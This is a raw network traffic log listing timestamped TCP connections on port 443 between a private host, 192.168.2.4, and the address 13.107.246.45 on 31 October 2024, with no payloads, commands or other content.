Oct 31, 2024 17:27:25.233874083 CET	62981	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:25.233891010 CET	443	62981	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:25.233906984 CET	62981	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:25.233912945 CET	443	62981	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:25.235692024 CET	443	62980	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:25.235770941 CET	443	62980	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:25.235826015 CET	62980	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:25.235946894 CET	62980	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:25.235960007 CET	443	62980	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:25.235969067 CET	62980	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:25.235974073 CET	443	62980	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:25.237263918 CET	62985	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:25.237298012 CET	443	62985	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:25.237369061 CET	62985	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:25.237510920 CET	62985	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:25.237524986 CET	443	62985	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:25.238148928 CET	62986	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:25.238202095 CET	443	62986	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:25.238271952 CET	62986	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:25.238368034 CET	62986	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:25.238403082 CET	443	62986	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:25.358129978 CET	443	62982	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:25.358736992 CET	62982	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:25.358752966 CET	443	62982	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:25.359147072 CET	62982	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:25.359149933 CET	443	62982	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:25.488892078 CET	443	62982	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:25.489293098 CET	443	62982	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:25.489351034 CET	443	62982	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:25.489514112 CET	62982	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:25.489514112 CET	62982	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:25.489514112 CET	62982	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:25.489514112 CET	62982	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:25.492438078 CET	62987	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:25.492472887 CET	443	62987	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:25.492541075 CET	62987	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:25.492692947 CET	62987	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:25.492705107 CET	443	62987	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:25.712536097 CET	443	62983	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:25.713160992 CET	62983	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:25.713197947 CET	443	62983	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:25.713553905 CET	62983	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:25.713560104 CET	443	62983	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:25.804455042 CET	62982	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:25.804483891 CET	443	62982	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:25.848759890 CET	443	62983	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:25.848826885 CET	443	62983	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:25.848985910 CET	62983	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:25.849159956 CET	62983	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:25.849179983 CET	443	62983	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:25.849189043 CET	62983	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:25.849195004 CET	443	62983	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:25.852379084 CET	62988	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:25.852416992 CET	443	62988	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:25.852508068 CET	62988	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:25.852688074 CET	62988	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:25.852703094 CET	443	62988	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:25.865509033 CET	443	62984	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:25.866070986 CET	62984	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:25.866131067 CET	443	62984	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:25.866682053 CET	62984	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:25.866700888 CET	443	62984	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:25.959780931 CET	443	62985	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:25.960382938 CET	62985	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:25.960397005 CET	443	62985	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:25.960927010 CET	62985	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:25.960931063 CET	443	62985	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:25.988151073 CET	443	62986	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:25.988523960 CET	62986	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:25.988563061 CET	443	62986	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:25.988967896 CET	62986	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:25.988980055 CET	443	62986	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:25.998621941 CET	443	62984	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:25.998821974 CET	443	62984	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:25.998873949 CET	62984	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:25.998982906 CET	62984	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:25.999021053 CET	443	62984	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:25.999046087 CET	62984	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:25.999061108 CET	443	62984	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:26.001933098 CET	62989	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:26.001966000 CET	443	62989	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:26.002033949 CET	62989	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:26.002151966 CET	62989	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:26.002162933 CET	443	62989	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:26.118294954 CET	443	62986	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:26.118319035 CET	443	62986	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:26.118388891 CET	443	62986	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:26.118439913 CET	62986	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:26.118561029 CET	62986	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:26.118798018 CET	62986	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:26.118834972 CET	443	62986	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:26.118865013 CET	62986	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:26.118879080 CET	443	62986	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:26.122111082 CET	62990	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:26.122159004 CET	443	62990	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:26.122226954 CET	62990	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:26.122649908 CET	62990	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:26.122667074 CET	443	62990	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:26.214617968 CET	443	62985	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:26.214689016 CET	443	62985	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:26.214843035 CET	62985	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:26.214925051 CET	62985	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:26.214943886 CET	443	62985	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:26.214962006 CET	62985	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:26.214967966 CET	443	62985	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:26.217772961 CET	62991	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:26.217809916 CET	443	62991	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:26.217889071 CET	62991	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:26.218050003 CET	62991	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:26.218060017 CET	443	62991	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:26.274326086 CET	443	62987	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:26.274905920 CET	62987	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:26.274924994 CET	443	62987	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:26.275391102 CET	62987	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:26.275396109 CET	443	62987	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:26.414575100 CET	443	62987	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:26.414716959 CET	443	62987	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:26.414788008 CET	62987	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:26.414817095 CET	443	62987	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:26.414843082 CET	443	62987	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:26.414896965 CET	62987	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:26.415065050 CET	62987	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:26.415079117 CET	443	62987	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:26.415088892 CET	62987	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:26.415093899 CET	443	62987	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:26.418629885 CET	62992	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:26.418651104 CET	443	62992	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:26.418744087 CET	62992	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:26.418926954 CET	62992	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:26.418937922 CET	443	62992	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:26.590609074 CET	443	62988	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:26.591121912 CET	62988	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:26.591162920 CET	443	62988	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:26.591648102 CET	62988	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:26.591655016 CET	443	62988	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:26.721020937 CET	443	62988	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:26.721467972 CET	443	62988	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:26.721509933 CET	62988	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:26.721514940 CET	443	62988	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:26.721565962 CET	62988	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:26.721626997 CET	62988	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:26.721649885 CET	443	62988	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:26.721662998 CET	62988	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:26.721669912 CET	443	62988	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:26.724436045 CET	62993	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:26.724526882 CET	443	62993	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:26.724596977 CET	62993	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:26.724733114 CET	62993	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:26.724769115 CET	443	62993	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:26.770596027 CET	443	62989	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:26.771162987 CET	62989	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:26.771181107 CET	443	62989	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:26.771677971 CET	62989	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:26.771682978 CET	443	62989	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:26.861351013 CET	443	62990	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:26.861958027 CET	62990	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:26.861984015 CET	443	62990	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:26.862426996 CET	62990	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:26.862435102 CET	443	62990	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:26.905674934 CET	443	62989	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:26.905765057 CET	443	62989	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:26.905844927 CET	62989	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:26.906047106 CET	62989	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:26.906065941 CET	443	62989	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:26.906076908 CET	62989	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:26.906081915 CET	443	62989	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:26.909322023 CET	62994	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:26.909363031 CET	443	62994	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:26.909651995 CET	62994	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:26.909651995 CET	62994	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:26.909684896 CET	443	62994	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:26.958250046 CET	443	62991	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:26.958811045 CET	62991	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:26.958818913 CET	443	62991	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:26.959153891 CET	62991	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:26.959158897 CET	443	62991	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:27.004117012 CET	443	62990	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:27.004148960 CET	443	62990	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:27.004196882 CET	62990	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:27.004215956 CET	443	62990	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:27.004230976 CET	443	62990	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:27.004288912 CET	62990	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:27.004427910 CET	62990	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:27.004446983 CET	443	62990	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:27.004458904 CET	62990	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:27.004466057 CET	443	62990	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:27.007088900 CET	62995	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:27.007164001 CET	443	62995	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:27.007251024 CET	62995	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:27.007352114 CET	62995	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:27.007384062 CET	443	62995	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:27.089059114 CET	443	62991	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:27.089123011 CET	443	62991	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:27.089277029 CET	62991	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:27.097711086 CET	62991	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:27.097731113 CET	443	62991	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:27.097745895 CET	62991	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:27.097752094 CET	443	62991	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:27.100610018 CET	62996	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:27.100644112 CET	443	62996	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:27.100722075 CET	62996	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:27.100860119 CET	62996	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:27.100873947 CET	443	62996	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:27.203808069 CET	443	62992	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:27.204416990 CET	62992	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:27.204441071 CET	443	62992	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:27.204916000 CET	62992	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:27.204921007 CET	443	62992	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:27.334899902 CET	443	62992	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:27.334930897 CET	443	62992	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:27.334980011 CET	62992	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:27.334996939 CET	443	62992	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:27.335050106 CET	443	62992	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:27.335093021 CET	62992	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:27.335278034 CET	62992	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:27.335290909 CET	443	62992	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:27.335300922 CET	62992	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:27.335305929 CET	443	62992	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:27.338650942 CET	62997	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:27.338730097 CET	443	62997	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:27.338809013 CET	62997	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:27.339020967 CET	62997	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:27.339049101 CET	443	62997	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:27.469887972 CET	443	62993	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:27.470438957 CET	62993	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:27.470485926 CET	443	62993	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:27.471010923 CET	62993	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:27.471020937 CET	443	62993	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:27.603162050 CET	443	62993	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:27.604281902 CET	443	62993	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:27.604334116 CET	443	62993	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:27.604353905 CET	62993	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:27.604521990 CET	62993	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:27.604521990 CET	62993	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:27.604521990 CET	62993	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:27.607336044 CET	62998	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:27.607377052 CET	443	62998	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:27.607446909 CET	62998	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:27.607587099 CET	62998	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:27.607599974 CET	443	62998	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:27.698905945 CET	443	62994	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:27.699541092 CET	62994	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:27.699559927 CET	443	62994	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:27.699924946 CET	62994	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:27.699929953 CET	443	62994	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:27.737792015 CET	443	62995	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:27.738256931 CET	62995	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:27.738333941 CET	443	62995	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:27.738533020 CET	62995	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:27.738547087 CET	443	62995	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:27.820022106 CET	62993	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:27.820061922 CET	443	62993	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:27.834233046 CET	443	62994	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:27.834275961 CET	443	62994	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:27.834343910 CET	443	62994	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:27.834448099 CET	62994	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:27.834765911 CET	62994	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:27.834783077 CET	443	62994	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:27.834800005 CET	62994	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:27.834805012 CET	443	62994	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:27.837635040 CET	443	62996	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:27.838052988 CET	62996	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:27.838068962 CET	443	62996	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:27.838134050 CET	62999	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:27.838227034 CET	443	62999	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:27.838311911 CET	62999	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:27.838440895 CET	62999	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:27.838478088 CET	443	62999	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:27.838489056 CET	62996	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:27.838494062 CET	443	62996	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:27.888180971 CET	443	62995	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:27.888853073 CET	443	62995	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:27.888922930 CET	62995	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:27.888991117 CET	62995	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:27.889027119 CET	443	62995	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:27.889035940 CET	62995	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:27.889051914 CET	443	62995	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:27.891643047 CET	63000	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:27.891690016 CET	443	63000	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:27.891761065 CET	63000	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:27.891887903 CET	63000	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:27.891904116 CET	443	63000	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:27.982947111 CET	443	62996	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:27.983016968 CET	443	62996	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:27.983069897 CET	62996	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:27.983261108 CET	62996	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:27.983278990 CET	443	62996	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:27.983290911 CET	62996	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:27.983298063 CET	443	62996	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:27.986514091 CET	63001	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:27.986562014 CET	443	63001	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:27.986637115 CET	63001	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:27.986840963 CET	63001	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:27.986855984 CET	443	63001	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:28.071455002 CET	443	62997	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:28.071960926 CET	62997	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:28.072030067 CET	443	62997	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:28.072463036 CET	62997	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:28.072478056 CET	443	62997	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:28.201961994 CET	443	62997	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:28.202136993 CET	443	62997	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:28.202209949 CET	62997	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:28.202428102 CET	62997	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:28.202452898 CET	443	62997	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:28.202467918 CET	62997	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:28.202474117 CET	443	62997	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:28.206206083 CET	63002	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:28.206271887 CET	443	63002	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:28.206337929 CET	63002	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:28.206487894 CET	63002	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:28.206509113 CET	443	63002	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:28.350569010 CET	443	62998	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:28.351183891 CET	62998	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:28.351198912 CET	443	62998	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:28.351697922 CET	62998	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:28.351702929 CET	443	62998	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:28.480473995 CET	443	62998	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:28.480515957 CET	443	62998	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:28.480557919 CET	62998	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:28.480571032 CET	443	62998	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:28.480587006 CET	443	62998	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:28.480627060 CET	62998	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:28.480830908 CET	62998	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:28.480846882 CET	443	62998	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:28.480860949 CET	62998	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:28.480868101 CET	443	62998	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:28.483549118 CET	63003	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:28.483582973 CET	443	63003	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:28.483654022 CET	63003	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:28.483831882 CET	63003	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:28.483843088 CET	443	63003	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:28.571096897 CET	443	62999	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:28.571537018 CET	62999	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:28.571568966 CET	443	62999	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:28.572036028 CET	62999	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:28.572042942 CET	443	62999	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:28.705319881 CET	443	62999	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:28.705375910 CET	443	62999	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:28.705431938 CET	62999	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:28.705672979 CET	62999	443	192.168.2.4	13.107.246.45
